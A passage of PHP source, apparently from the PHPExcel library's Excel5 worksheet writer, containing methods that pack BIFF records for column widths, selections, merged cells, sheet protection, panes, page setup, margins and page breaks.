		$defaultRowHeight = $this-&gt;_phpSheet-&gt;getDefaultRowDimension()-&gt;getRowHeight();

		if ($defaultRowHeight &lt; 0) {
			return;
		}

		// convert to twips
		$defaultRowHeight = (int) 20 * $defaultRowHeight;

		$record   = 0x0225;	  // Record identifier
		$length   = 0x0004;	  // Number of bytes to follow

		$header   = pack(&quot;vv&quot;, $record, $length);
		$data	 = pack(&quot;vv&quot;,  1, $defaultRowHeight);
		$this-&gt;_append($header . $data);
	}

	/**
	 * Write BIFF record DEFCOLWIDTH if COLINFO records are in use.
	 */
	private function _writeDefcol()
	{
		$defaultColWidth = 8;

		$record   = 0x0055;	  // Record identifier
		$length   = 0x0002;	  // Number of bytes to follow

		$header = pack(&quot;vv&quot;, $record, $length);
		$data = pack(&quot;v&quot;, $defaultColWidth);
		$this-&gt;_append($header . $data);
	}

	/**
	 * Write BIFF record COLINFO to define column widths
	 *
	 * Note: The SDK says the record length is 0x0B but Excel writes a 0x0C
	 * length record.
	 *
	 * @param array $col_array This is the only parameter received and is composed of the following:
	 *				0 =&gt; First formatted column,
	 *				1 =&gt; Last formatted column,
	 *				2 =&gt; Col width (8.43 is Excel default),
	 *				3 =&gt; The optional XF format of the column,
	 *				4 =&gt; Option flags.
	 *				5 =&gt; Optional outline level
	 */
	private function _writeColinfo($col_array)
	{
		if (isset($col_array[0])) {
			$colFirst = $col_array[0];
		}
		if (isset($col_array[1])) {
			$colLast = $col_array[1];
		}
		if (isset($col_array[2])) {
			$coldx = $col_array[2];
		} else {
			$coldx = 8.43;
		}
		if (isset($col_array[3])) {
			$xfIndex = $col_array[3];
		} else {
			$xfIndex = 15;
		}
		if (isset($col_array[4])) {
			$grbit = $col_array[4];
		} else {
			$grbit = 0;
		}
		if (isset($col_array[5])) {
			$level = $col_array[5];
		} else {
			$level = 0;
		}
		$record   = 0x007D;		  // Record identifier
		$length   = 0x000C;		  // Number of bytes to follow

		$coldx   *= 256;			 // Convert to units of 1/256 of a char

		$ixfe	 = $xfIndex;
		$reserved = 0x0000;			// Reserved

		$level = max(0, min($level, 7));
		$grbit |= $level &lt;&lt; 8;

		$header   = pack(&quot;vv&quot;,	 $record, $length);
		$data	 = pack(&quot;vvvvvv&quot;, $colFirst, $colLast, $coldx,
								   $ixfe, $grbit, $reserved);
		$this-&gt;_append($header.$data);
	}

	/**
	 * Write BIFF record SELECTION.
	 */
	private function _writeSelection()
	{
		// look up the selected cell range
		$selectedCells = $this-&gt;_phpSheet-&gt;getSelectedCells();
		$selectedCells = PHPExcel_Cell::splitRange($this-&gt;_phpSheet-&gt;getSelectedCells());
		$selectedCells = $selectedCells[0];
		if (count($selectedCells) == 2) {
			list($first, $last) = $selectedCells;
		} else {
			$first = $selectedCells[0];
			$last  = $selectedCells[0];
		}

		list($colFirst, $rwFirst) = PHPExcel_Cell::coordinateFromString($first);
		$colFirst = PHPExcel_Cell::columnIndexFromString($colFirst) - 1; // base 0 column index
		--$rwFirst; // base 0 row index

		list($colLast, $rwLast) = PHPExcel_Cell::coordinateFromString($last);
		$colLast = PHPExcel_Cell::columnIndexFromString($colLast) - 1; // base 0 column index
		--$rwLast; // base 0 row index

		// make sure we are not out of bounds
		$colFirst = min($colFirst, 255);
		$colLast  = min($colLast,  255);

		$rwFirst = min($rwFirst, 65535);
		$rwLast  = min($rwLast,  65535);

		$record   = 0x001D;				  // Record identifier
		$length   = 0x000F;				  // Number of bytes to follow

		$pnn	  = $this-&gt;_active_pane;	 // Pane position
		$rwAct	= $rwFirst;				// Active row
		$colAct   = $colFirst;			   // Active column
		$irefAct  = 0;					   // Active cell ref
		$cref	 = 1;					   // Number of refs

		if (!isset($rwLast)) {
			$rwLast   = $rwFirst;	   // Last  row in reference
		}
		if (!isset($colLast)) {
			$colLast  = $colFirst;	  // Last  col in reference
		}

		// Swap last row/col for first row/col as necessary
		if ($rwFirst &gt; $rwLast) {
			list($rwFirst, $rwLast) = array($rwLast, $rwFirst);
		}

		if ($colFirst &gt; $colLast) {
			list($colFirst, $colLast) = array($colLast, $colFirst);
		}

		$header   = pack(&quot;vv&quot;,		 $record, $length);
		$data	 = pack(&quot;CvvvvvvCC&quot;,  $pnn, $rwAct, $colAct,
									   $irefAct, $cref,
									   $rwFirst, $rwLast,
									   $colFirst, $colLast);
		$this-&gt;_append($header . $data);
	}

	/**
	 * Store the MERGEDCELLS records for all ranges of merged cells
	 */
	private function _writeMergedCells()
	{
		$mergeCells = $this-&gt;_phpSheet-&gt;getMergeCells();
		$countMergeCells = count($mergeCells);

		if ($countMergeCells == 0) {
			return;
		}

		// maximum allowed number of merged cells per record
		$maxCountMergeCellsPerRecord = 1027;

		// record identifier
		$record = 0x00E5;

		// counter for total number of merged cells treated so far by the writer
		$i = 0;

		// counter for number of merged cells written in record currently being written
		$j = 0;

		// initialize record data
		$recordData = '';

		// loop through the merged cells
		foreach ($mergeCells as $mergeCell) {
			++$i;
			++$j;

			// extract the row and column indexes
			$range = PHPExcel_Cell::splitRange($mergeCell);
			list($first, $last) = $range[0];
			list($firstColumn, $firstRow) = PHPExcel_Cell::coordinateFromString($first);
			list($lastColumn, $lastRow) = PHPExcel_Cell::coordinateFromString($last);

			$recordData .= pack('vvvv', $firstRow - 1, $lastRow - 1, PHPExcel_Cell::columnIndexFromString($firstColumn) - 1, PHPExcel_Cell::columnIndexFromString($lastColumn) - 1);

			// flush record if we have reached limit for number of merged cells, or reached final merged cell
			if ($j == $maxCountMergeCellsPerRecord or $i == $countMergeCells) {
				$recordData = pack('v', $j) . $recordData;
				$length = strlen($recordData);
				$header = pack('vv', $record, $length);
				$this-&gt;_append($header . $recordData);

				// initialize for next record, if any
				$recordData = '';
				$j = 0;
			}
		}
	}

	/**
	 * Write SHEETLAYOUT record
	 */
	private function _writeSheetLayout()
	{
		if (!$this-&gt;_phpSheet-&gt;isTabColorSet()) {
			return;
		}

		$recordData = pack(
			'vvVVVvv'
			, 0x0862
			, 0x0000		// unused
			, 0x00000000	// unused
			, 0x00000000	// unused
			, 0x00000014	// size of record data
			, $this-&gt;_colors[$this-&gt;_phpSheet-&gt;getTabColor()-&gt;getRGB()]	// color index
			, 0x0000		// unused
		);

		$length = strlen($recordData);

		$record = 0x0862; // Record identifier
		$header = pack('vv', $record, $length);
		$this-&gt;_append($header . $recordData);
	}

	/**
	 * Write SHEETPROTECTION
	 */
	private function _writeSheetProtection()
	{
		// record identifier
		$record = 0x0867;

		// prepare options
		$options  =   (int) !$this-&gt;_phpSheet-&gt;getProtection()-&gt;getObjects()
					| (int) !$this-&gt;_phpSheet-&gt;getProtection()-&gt;getScenarios()           &lt;&lt; 1
					| (int) !$this-&gt;_phpSheet-&gt;getProtection()-&gt;getFormatCells()         &lt;&lt; 2
					| (int) !$this-&gt;_phpSheet-&gt;getProtection()-&gt;getFormatColumns()       &lt;&lt; 3
					| (int) !$this-&gt;_phpSheet-&gt;getProtection()-&gt;getFormatRows()          &lt;&lt; 4
					| (int) !$this-&gt;_phpSheet-&gt;getProtection()-&gt;getInsertColumns()       &lt;&lt; 5
					| (int) !$this-&gt;_phpSheet-&gt;getProtection()-&gt;getInsertRows()          &lt;&lt; 6
					| (int) !$this-&gt;_phpSheet-&gt;getProtection()-&gt;getInsertHyperlinks()    &lt;&lt; 7
					| (int) !$this-&gt;_phpSheet-&gt;getProtection()-&gt;getDeleteColumns()       &lt;&lt; 8
					| (int) !$this-&gt;_phpSheet-&gt;getProtection()-&gt;getDeleteRows()          &lt;&lt; 9
					| (int) !$this-&gt;_phpSheet-&gt;getProtection()-&gt;getSelectLockedCells()   &lt;&lt; 10
					| (int) !$this-&gt;_phpSheet-&gt;getProtection()-&gt;getSort()                &lt;&lt; 11
					| (int) !$this-&gt;_phpSheet-&gt;getProtection()-&gt;getAutoFilter()          &lt;&lt; 12
					| (int) !$this-&gt;_phpSheet-&gt;getProtection()-&gt;getPivotTables()         &lt;&lt; 13
					| (int) !$this-&gt;_phpSheet-&gt;getProtection()-&gt;getSelectUnlockedCells() &lt;&lt; 14 ;

		// record data
		$recordData = pack(
			'vVVCVVvv'
			, 0x0867		// repeated record identifier
			, 0x0000		// not used
			, 0x0000		// not used
			, 0x00			// not used
			, 0x01000200	// unknown data
			, 0xFFFFFFFF	// unknown data
			, $options		// options
			, 0x0000		// not used
		);

		$length = strlen($recordData);
		$header = pack('vv', $record, $length);

		$this-&gt;_append($header . $recordData);
	}

	/**
	 * Write BIFF record RANGEPROTECTION
	 *
	 * Openoffice.org's Documentaion of the Microsoft Excel File Format uses term RANGEPROTECTION for these records
	 * Microsoft Office Excel 97-2007 Binary File Format Specification uses term FEAT for these records
	 */
	private function _writeRangeProtection()
	{
		foreach ($this-&gt;_phpSheet-&gt;getProtectedCells() as $range =&gt; $password) {
			// number of ranges, e.g. 'A1:B3 C20:D25'
			$cellRanges = explode(' ', $range);
			$cref = count($cellRanges);

			$recordData = pack(
				'vvVVvCVvVv',
				0x0868,
				0x00,
				0x0000,
				0x0000,
				0x02,
				0x0,
				0x0000,
				$cref,
				0x0000,
				0x00
			);

			foreach ($cellRanges as $cellRange) {
				$recordData .= $this-&gt;_writeBIFF8CellRangeAddressFixed($cellRange);
			}

			// the rgbFeat structure
			$recordData .= pack(
				'VV',
				0x0000,
				hexdec($password)
			);

			$recordData .= PHPExcel_Shared_String::UTF8toBIFF8UnicodeLong('p' . md5($recordData));

			$length = strlen($recordData);

			$record = 0x0868;		// Record identifier
			$header = pack(&quot;vv&quot;, $record, $length);
			$this-&gt;_append($header . $recordData);
		}
	}

	/**
	 * Write BIFF record EXTERNCOUNT to indicate the number of external sheet
	 * references in a worksheet.
	 *
	 * Excel only stores references to external sheets that are used in formulas.
	 * For simplicity we store references to all the sheets in the workbook
	 * regardless of whether they are used or not. This reduces the overall
	 * complexity and eliminates the need for a two way dialogue between the formula
	 * parser the worksheet objects.
	 *
	 * @param integer $count The number of external sheet references in this worksheet
	 */
	private function _writeExterncount($count)
	{
		$record = 0x0016;		  // Record identifier
		$length = 0x0002;		  // Number of bytes to follow

		$header = pack(&quot;vv&quot;, $record, $length);
		$data   = pack(&quot;v&quot;,  $count);
		$this-&gt;_append($header . $data);
	}

	/**
	 * Writes the Excel BIFF EXTERNSHEET record. These references are used by
	 * formulas. A formula references a sheet name via an index. Since we store a
	 * reference to all of the external worksheets the EXTERNSHEET index is the same
	 * as the worksheet index.
	 *
	 * @param string $sheetname The name of a external worksheet
	 */
	private function _writeExternsheet($sheetname)
	{
		$record	= 0x0017;		 // Record identifier

		// References to the current sheet are encoded differently to references to
		// external sheets.
		//
		if ($this-&gt;_phpSheet-&gt;getTitle() == $sheetname) {
			$sheetname = '';
			$length	= 0x02;  // The following 2 bytes
			$cch	   = 1;	 // The following byte
			$rgch	  = 0x02;  // Self reference
		} else {
			$length	= 0x02 + strlen($sheetname);
			$cch	   = strlen($sheetname);
			$rgch	  = 0x03;  // Reference to a sheet in the current workbook
		}

		$header = pack(&quot;vv&quot;,  $record, $length);
		$data   = pack(&quot;CC&quot;, $cch, $rgch);
		$this-&gt;_append($header . $data . $sheetname);
	}

	/**
	 * Writes the Excel BIFF PANE record.
	 * The panes can either be frozen or thawed (unfrozen).
	 * Frozen panes are specified in terms of an integer number of rows and columns.
	 * Thawed panes are specified in terms of Excel's units for rows and columns.
	 */
	private function _writePanes()
	{
		$panes = array();
		if ($freezePane = $this-&gt;_phpSheet-&gt;getFreezePane()) {
			list($column, $row) = PHPExcel_Cell::coordinateFromString($freezePane);
			$panes[0] = $row - 1;
			$panes[1] = PHPExcel_Cell::columnIndexFromString($column) - 1;
		} else {
			// thaw panes
			return;
		}

		$y	   = isset($panes[0]) ? $panes[0] : null;
		$x	   = isset($panes[1]) ? $panes[1] : null;
		$rwTop   = isset($panes[2]) ? $panes[2] : null;
		$colLeft = isset($panes[3]) ? $panes[3] : null;
		if (count($panes) &gt; 4) { // if Active pane was received
			$pnnAct = $panes[4];
		} else {
			$pnnAct = null;
		}
		$record  = 0x0041;	   // Record identifier
		$length  = 0x000A;	   // Number of bytes to follow

		// Code specific to frozen or thawed panes.
		if ($this-&gt;_phpSheet-&gt;getFreezePane()) {
			// Set default values for $rwTop and $colLeft
			if (!isset($rwTop)) {
				$rwTop   = $y;
			}
			if (!isset($colLeft)) {
				$colLeft = $x;
			}
		} else {
			// Set default values for $rwTop and $colLeft
			if (!isset($rwTop)) {
				$rwTop   = 0;
			}
			if (!isset($colLeft)) {
				$colLeft = 0;
			}

			// Convert Excel's row and column units to the internal units.
			// The default row height is 12.75
			// The default column width is 8.43
			// The following slope and intersection values were interpolated.
			//
			$y = 20*$y + 255;
			$x = 113.879*$x + 390;
		}


		// Determine which pane should be active. There is also the undocumented
		// option to override this should it be necessary: may be removed later.
		//
		if (!isset($pnnAct)) {
			if ($x != 0 &amp;&amp; $y != 0) {
				$pnnAct = 0; // Bottom right
			}
			if ($x != 0 &amp;&amp; $y == 0) {
				$pnnAct = 1; // Top right
			}
			if ($x == 0 &amp;&amp; $y != 0) {
				$pnnAct = 2; // Bottom left
			}
			if ($x == 0 &amp;&amp; $y == 0) {
				$pnnAct = 3; // Top left
			}
		}

		$this-&gt;_active_pane = $pnnAct; // Used in _writeSelection

		$header	 = pack(&quot;vv&quot;,	$record, $length);
		$data	   = pack(&quot;vvvvv&quot;, $x, $y, $rwTop, $colLeft, $pnnAct);
		$this-&gt;_append($header . $data);
	}

	/**
	 * Store the page setup SETUP BIFF record.
	 */
	private function _writeSetup()
	{
		$record	   = 0x00A1;				  // Record identifier
		$length	   = 0x0022;				  // Number of bytes to follow

		$iPaperSize   = $this-&gt;_phpSheet-&gt;getPageSetup()-&gt;getPaperSize();	// Paper size

		$iScale = $this-&gt;_phpSheet-&gt;getPageSetup()-&gt;getScale() ?
			$this-&gt;_phpSheet-&gt;getPageSetup()-&gt;getScale() : 100;   // Print scaling factor

		$iPageStart   = 0x01;				 // Starting page number
		$iFitWidth	= (int) $this-&gt;_phpSheet-&gt;getPageSetup()-&gt;getFitToWidth();	// Fit to number of pages wide
		$iFitHeight	= (int) $this-&gt;_phpSheet-&gt;getPageSetup()-&gt;getFitToHeight();	// Fit to number of pages high
		$grbit		= 0x00;				 // Option flags
		$iRes		 = 0x0258;			   // Print resolution
		$iVRes		= 0x0258;			   // Vertical print resolution

		$numHdr	   = $this-&gt;_phpSheet-&gt;getPageMargins()-&gt;getHeader();  // Header Margin

		$numFtr	   = $this-&gt;_phpSheet-&gt;getPageMargins()-&gt;getFooter();   // Footer Margin
		$iCopies	  = 0x01;				 // Number of copies

		$fLeftToRight = 0x0;					 // Print over then down

		// Page orientation
		$fLandscape = ($this-&gt;_phpSheet-&gt;getPageSetup()-&gt;getOrientation() == PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE) ?
			0x0 : 0x1;

		$fNoPls	   = 0x0;					 // Setup not read from printer
		$fNoColor	 = 0x0;					 // Print black and white
		$fDraft	   = 0x0;					 // Print draft quality
		$fNotes	   = 0x0;					 // Print notes
		$fNoOrient	= 0x0;					 // Orientation not set
		$fUsePage	 = 0x0;					 // Use custom starting page

		$grbit		   = $fLeftToRight;
		$grbit		  |= $fLandscape	&lt;&lt; 1;
		$grbit		  |= $fNoPls		&lt;&lt; 2;
		$grbit		  |= $fNoColor	  &lt;&lt; 3;
		$grbit		  |= $fDraft		&lt;&lt; 4;
		$grbit		  |= $fNotes		&lt;&lt; 5;
		$grbit		  |= $fNoOrient	 &lt;&lt; 6;
		$grbit		  |= $fUsePage	  &lt;&lt; 7;

		$numHdr = pack(&quot;d&quot;, $numHdr);
		$numFtr = pack(&quot;d&quot;, $numFtr);
		if (self::getByteOrder()) { // if it's Big Endian
			$numHdr = strrev($numHdr);
			$numFtr = strrev($numFtr);
		}

		$header = pack(&quot;vv&quot;, $record, $length);
		$data1  = pack(&quot;vvvvvvvv&quot;, $iPaperSize,
								   $iScale,
								   $iPageStart,
								   $iFitWidth,
								   $iFitHeight,
								   $grbit,
								   $iRes,
								   $iVRes);
		$data2  = $numHdr.$numFtr;
		$data3  = pack(&quot;v&quot;, $iCopies);
		$this-&gt;_append($header . $data1 . $data2 . $data3);
	}

	/**
	 * Store the header caption BIFF record.
	 */
	private function _writeHeader()
	{
		$record  = 0x0014;			   // Record identifier

		/* removing for now
		// need to fix character count (multibyte!)
		if (strlen($this-&gt;_phpSheet-&gt;getHeaderFooter()-&gt;getOddHeader()) &lt;= 255) {
			$str	  = $this-&gt;_phpSheet-&gt;getHeaderFooter()-&gt;getOddHeader();	   // header string
		} else {
			$str = '';
		}
		*/

		$recordData = PHPExcel_Shared_String::UTF8toBIFF8UnicodeLong($this-&gt;_phpSheet-&gt;getHeaderFooter()-&gt;getOddHeader());
		$length = strlen($recordData);

		$header   = pack(&quot;vv&quot;, $record, $length);

		$this-&gt;_append($header . $recordData);
	}

	/**
	 * Store the footer caption BIFF record.
	 */
	private function _writeFooter()
	{
		$record  = 0x0015;			   // Record identifier

		/* removing for now
		// need to fix character count (multibyte!)
		if (strlen($this-&gt;_phpSheet-&gt;getHeaderFooter()-&gt;getOddFooter()) &lt;= 255) {
			$str = $this-&gt;_phpSheet-&gt;getHeaderFooter()-&gt;getOddFooter();
		} else {
			$str = '';
		}
		*/

		$recordData = PHPExcel_Shared_String::UTF8toBIFF8UnicodeLong($this-&gt;_phpSheet-&gt;getHeaderFooter()-&gt;getOddFooter());
		$length = strlen($recordData);

		$header	= pack(&quot;vv&quot;, $record, $length);

		$this-&gt;_append($header . $recordData);
	}

	/**
	 * Store the horizontal centering HCENTER BIFF record.
	 *
	 * @access private
	 */
	private function _writeHcenter()
	{
		$record   = 0x0083;			  // Record identifier
		$length   = 0x0002;			  // Bytes to follow

		$fHCenter = $this-&gt;_phpSheet-&gt;getPageSetup()-&gt;getHorizontalCentered() ? 1 : 0;	 // Horizontal centering

		$header	= pack(&quot;vv&quot;, $record, $length);
		$data	  = pack(&quot;v&quot;,  $fHCenter);

		$this-&gt;_append($header.$data);
	}

	/**
	 * Store the vertical centering VCENTER BIFF record.
	 */
	private function _writeVcenter()
	{
		$record   = 0x0084;			  // Record identifier
		$length   = 0x0002;			  // Bytes to follow

		$fVCenter = $this-&gt;_phpSheet-&gt;getPageSetup()-&gt;getVerticalCentered() ? 1 : 0;	 // Horizontal centering

		$header	= pack(&quot;vv&quot;, $record, $length);
		$data	  = pack(&quot;v&quot;,  $fVCenter);
		$this-&gt;_append($header . $data);
	}

	/**
	 * Store the LEFTMARGIN BIFF record.
	 */
	private function _writeMarginLeft()
	{
		$record  = 0x0026;				   // Record identifier
		$length  = 0x0008;				   // Bytes to follow

		$margin  = $this-&gt;_phpSheet-&gt;getPageMargins()-&gt;getLeft();	 // Margin in inches

		$header	= pack(&quot;vv&quot;,  $record, $length);
		$data	  = pack(&quot;d&quot;,   $margin);
		if (self::getByteOrder()) { // if it's Big Endian
			$data = strrev($data);
		}

		$this-&gt;_append($header . $data);
	}

	/**
	 * Store the RIGHTMARGIN BIFF record.
	 */
	private function _writeMarginRight()
	{
		$record  = 0x0027;				   // Record identifier
		$length  = 0x0008;				   // Bytes to follow

		$margin  = $this-&gt;_phpSheet-&gt;getPageMargins()-&gt;getRight();	 // Margin in inches

		$header	= pack(&quot;vv&quot;,  $record, $length);
		$data	  = pack(&quot;d&quot;,   $margin);
		if (self::getByteOrder()) { // if it's Big Endian
			$data = strrev($data);
		}

		$this-&gt;_append($header . $data);
	}

	/**
	 * Store the TOPMARGIN BIFF record.
	 */
	private function _writeMarginTop()
	{
		$record  = 0x0028;				   // Record identifier
		$length  = 0x0008;				   // Bytes to follow

		$margin  = $this-&gt;_phpSheet-&gt;getPageMargins()-&gt;getTop();	 // Margin in inches

		$header	= pack(&quot;vv&quot;,  $record, $length);
		$data	  = pack(&quot;d&quot;,   $margin);
		if (self::getByteOrder()) { // if it's Big Endian
			$data = strrev($data);
		}

		$this-&gt;_append($header . $data);
	}

	/**
	 * Store the BOTTOMMARGIN BIFF record.
	 */
	private function _writeMarginBottom()
	{
		$record  = 0x0029;				   // Record identifier
		$length  = 0x0008;				   // Bytes to follow

		$margin  = $this-&gt;_phpSheet-&gt;getPageMargins()-&gt;getBottom();	 // Margin in inches

		$header	= pack(&quot;vv&quot;,  $record, $length);
		$data	  = pack(&quot;d&quot;,   $margin);
		if (self::getByteOrder()) { // if it's Big Endian
			$data = strrev($data);
		}

		$this-&gt;_append($header . $data);
	}

	/**
	 * Write the PRINTHEADERS BIFF record.
	 */
	private function _writePrintHeaders()
	{
		$record	  = 0x002a;				   // Record identifier
		$length	  = 0x0002;				   // Bytes to follow

		$fPrintRwCol = $this-&gt;_print_headers;	 // Boolean flag

		$header	  = pack(&quot;vv&quot;, $record, $length);
		$data		= pack(&quot;v&quot;, $fPrintRwCol);
		$this-&gt;_append($header . $data);
	}

	/**
	 * Write the PRINTGRIDLINES BIFF record. Must be used in conjunction with the
	 * GRIDSET record.
	 */
	private function _writePrintGridlines()
	{
		$record	  = 0x002b;					// Record identifier
		$length	  = 0x0002;					// Bytes to follow

		$fPrintGrid  = $this-&gt;_phpSheet-&gt;getPrintGridlines() ? 1 : 0;	// Boolean flag

		$header	  = pack(&quot;vv&quot;, $record, $length);
		$data	  = pack(&quot;v&quot;, $fPrintGrid);
		$this-&gt;_append($header . $data);
	}

	/**
	 * Write the GRIDSET BIFF record. Must be used in conjunction with the
	 * PRINTGRIDLINES record.
	 */
	private function _writeGridset()
	{
		$record	  = 0x0082;						// Record identifier
		$length	  = 0x0002;						// Bytes to follow

		$fGridSet	= !$this-&gt;_phpSheet-&gt;getPrintGridlines();	 // Boolean flag

		$header	  = pack(&quot;vv&quot;,  $record, $length);
		$data		= pack(&quot;v&quot;,   $fGridSet);
		$this-&gt;_append($header . $data);
	}

	/**
	 * Write the AUTOFILTERINFO BIFF record. This is used to configure the number of autofilter select used in the sheet.
	 */
	private function _writeAutoFilterInfo(){
		$record	  = 0x009D;						// Record identifier
		$length	  = 0x0002;						// Bytes to follow

		$rangeBounds = PHPExcel_Cell::rangeBoundaries($this-&gt;_phpSheet-&gt;getAutoFilter()-&gt;getRange());
		$iNumFilters = 1 + $rangeBounds[1][0] - $rangeBounds[0][0];

		$header   = pack(&quot;vv&quot;, $record, $length);
		$data     = pack(&quot;v&quot;,  $iNumFilters);
		$this-&gt;_append($header . $data);
	}

	/**
	 * Write the GUTS BIFF record. This is used to configure the gutter margins
	 * where Excel outline symbols are displayed. The visibility of the gutters is
	 * controlled by a flag in WSBOOL.
	 *
	 * @see _writeWsbool()
	 */
	private  function _writeGuts()
	{
		$record	  = 0x0080;   // Record identifier
		$length	  = 0x0008;   // Bytes to follow

		$dxRwGut	 = 0x0000;   // Size of row gutter
		$dxColGut	= 0x0000;   // Size of col gutter

		// determine maximum row outline level
		$maxRowOutlineLevel = 0;
		foreach ($this-&gt;_phpSheet-&gt;getRowDimensions() as $rowDimension) {
			$maxRowOutlineLevel = max($maxRowOutlineLevel, $rowDimension-&gt;getOutlineLevel());
		}

		$col_level   = 0;

		// Calculate the maximum column outline level. The equivalent calculation
		// for the row outline level is carried out in _writeRow().
		$colcount = count($this-&gt;_colinfo);
		for ($i = 0; $i &lt; $colcount; ++$i) {
			$col_level = max($this-&gt;_colinfo[$i][5], $col_level);
		}

		// Set the limits for the outline levels (0 &lt;= x &lt;= 7).
		$col_level = max(0, min($col_level, 7));

		// The displayed level is one greater than the max outline levels
		if ($maxRowOutlineLevel) {
			++$maxRowOutlineLevel;
		}
		if ($col_level) {
			++$col_level;
		}

		$header	  = pack(&quot;vv&quot;,   $record, $length);
		$data		= pack(&quot;vvvv&quot;, $dxRwGut, $dxColGut, $maxRowOutlineLevel, $col_level);

		$this-&gt;_append($header.$data);
	}

	/**
	 * Write the WSBOOL BIFF record, mainly for fit-to-page. Used in conjunction
	 * with the SETUP record.
	 */
	private function _writeWsbool()
	{
		$record	  = 0x0081;   // Record identifier
		$length	  = 0x0002;   // Bytes to follow
		$grbit	   = 0x0000;

		// The only option that is of interest is the flag for fit to page. So we
		// set all the options in one go.
		//
		// Set the option flags
		$grbit |= 0x0001;						   // Auto page breaks visible
		if ($this-&gt;_outline_style) {
			$grbit |= 0x0020; // Auto outline styles
		}
		if ($this-&gt;_phpSheet-&gt;getShowSummaryBelow()) {
			$grbit |= 0x0040; // Outline summary below
		}
		if ($this-&gt;_phpSheet-&gt;getShowSummaryRight()) {
			$grbit |= 0x0080; // Outline summary right
		}
		if ($this-&gt;_phpSheet-&gt;getPageSetup()-&gt;getFitToPage()) {
			$grbit |= 0x0100; // Page setup fit to page
		}
		if ($this-&gt;_outline_on) {
			$grbit |= 0x0400; // Outline symbols displayed
		}

		$header	  = pack(&quot;vv&quot;, $record, $length);
		$data		= pack(&quot;v&quot;,  $grbit);
		$this-&gt;_append($header . $data);
	}

	/**
	 * Write the HORIZONTALPAGEBREAKS and VERTICALPAGEBREAKS BIFF records.
	 */
	private function _writeBreaks()
	{
		// initialize
		$vbreaks = array();
		$hbreaks = array();

		foreach ($this-&gt;_phpSheet-&gt;getBreaks() as $cell =&gt; $breakType) {
			// Fetch coordinates
			$coordinates = PHPExcel_Cell::coordinateFromString($cell);

			// Decide what to do by the type of break
			switch ($breakType) {
				case PHPExcel_Worksheet::BREAK_COLUMN:
					// Add to list of vertical breaks
					$vbreaks[] = PHPExcel_Cell::columnIndexFromString($coordinates[0]) - 1;
					break;

				case PHPExcel_Worksheet::BREAK_ROW:
					// Add to list of horizontal breaks
					$hbreaks[] = $coordinates[1];
					break;

				case PHPExcel_Worksheet::BREAK_NONE:
				default:
					// Nothing to do
					break;
			}
		}

		//horizontal page breaks
		if (!empty($hbreaks)) {

			// Sort and filter array of page breaks
			sort($hbreaks, SORT_NUMERIC);
			if ($hbreaks[0] == 0) { // don't use first break if it's 0
				array_shift($hbreaks);
			}

			$record  = 0x001b;			   // Record identifier
			$cbrk	= count($hbreaks);	   // Number of page breaks
			$length  = 2 + 6 * $cbrk;	  // Bytes to follow

			$header  = pack(&quot;vv&quot;, $record, $length);
			$data	= pack(&quot;v&quot;,  $cbrk);

			// Append each page break
			foreach ($hbreaks as $hbreak) {
				$data .= pack(&quot;vvv&quot;, $hbreak, 0x0000, 0x00ff);
			}

			$this-&gt;_append($header . $data);
		}

		// vertical page breaks
		if (!empty($vbreaks)) {

			// 1000 vertical pagebreaks appears to be an internal Excel 5 limit.
			// It is slightly higher in Excel 97/200, approx. 1026
			$vbreaks = array_slice($vbreaks, 0, 1000);

			// Sort and filter array of page breaks
			sort($vbreaks, SORT_NUMERIC);
			if ($vbreaks[0] == 0) { // don't use first break if it's 0
				array_shift($vbreaks);
			}

			$record  = 0x001a;			   // Record identifier
			$cbrk	= count($vbreaks);	   // Number of page breaks
			$length  = 2 + 6 * $cbrk;	  // Bytes to follow

			$header  = pack(&quot;vv&quot;,  $record, $length);
			$data	= pack(&quot;v&quot;,   $cbrk);

			// Append each page break
			foreach ($vbreaks as $vbreak) {
				$data .= pack(&quot;vvv&quot;, $vbreak, 0x0000, 0xffff);
			}

			$this-&gt;_append($header . $data);
		}
	}

	/**
	 * Set the Biff PROTECT record to indicate that the worksheet is protected.
	 */
	private function _writeProtect()
	{
		// Exit unless sheet protection has been specified
		if (!$this-&gt;_phpSheet-&gt;getProtection()-&gt;getSheet()) {
			return;
		}

		$record	  = 0x0012;			 // Record identifier
		$length	  = 0x0002;			 // Bytes to follow

		$fLock	  = 1;	// Worksheet is protected

		$header	  = pack(&quot;vv&quot;, $record, $length);
		$data	  = pack(&quot;v&quot;,  $fLock);

		$this-&gt;_append($header.$data);
	}

	/**
	 * Write SCENPROTECT
	 */
	private function _writeScenProtect()
	{
		// Exit if sheet protection is not active
		if (!$this-&gt;_phpSheet-&gt;getProtection()-&gt;getSheet()) {
			return;
		}

		// Exit if scenarios are not protected
		if (!$this-&gt;_phpSheet-&gt;getProtection()-&gt;getScenarios()) {
			return;
		}

		$record = 0x00DD; // Record identifier
		$length = 0x0002; // Bytes to follow

		$header = pack('vv', $record, $length);
		$data = pack('v', 1);

		$this-&gt;_append($header . $data);
	}

	/**
	 * Write OBJECTPROTECT
	 */
	private function _writeObjectProtect()
	{
		// Exit if sheet protection is not active
		if (!$this-&gt;_phpSheet-&gt;getProtection()-&gt;getSheet()) {
			return;
		}

		// Exit if objects are not protected
		if (!$this-&gt;_phpSheet-&gt;getProtection()-&gt;getObjects()) {
			return;
		}

		$record = 0x0063; // Record identifier
		$length = 0x0002; // Bytes to follow

		$header = pack('vv', $record, $length);
		$data = pack('v', 1);

		$this-&gt;_append($header . $data);
	}

	/**
	 * Write the worksheet PASSWORD record.
	 */
	private function _writePassword()
	{
		// Exit unless sheet protection and password have been specified
		if (!$this-&gt;_phpSheet-&gt;getProtection()-&gt;getSheet() || !$this-&gt;_phpSheet-&gt;getProtection()-&gt;getPassword()) {
			return;
		}

		$record	  = 0x0013;			   // Record identifier
		$length	  = 0x0002;			   // Bytes to follow

		$wPassword   = hexdec($this-&gt;_phpSheet-&gt;getProtection()-&gt;getPassword());	 // Encoded password

		$header	  = pack(&quot;vv&quot;, $record, $length);
		$data		= pack(&quot;v&quot;,  $wPassword);

		$this-&gt;_append($header . $data);
	}

	/**
	 * Insert a 24bit bitmap image in a worksheet.
	 *
	 * @access public
	 * @param integer $row	 The row we are going to insert the bitmap into
	 * @param integer $col	 The column we are going to insert the bitmap into
	 * @param mixed   $bitmap  The bitmap filename or GD-image resource
	 * @param integer $x	   The horizontal position (offset) of the image inside the cell.
	 * @param integer $y	   The vertical position (offset) of the image inside the cell.
	 * @param float   $scale_x The horizontal scale
	 * @param float   $scale_y The vertical scale
	 */
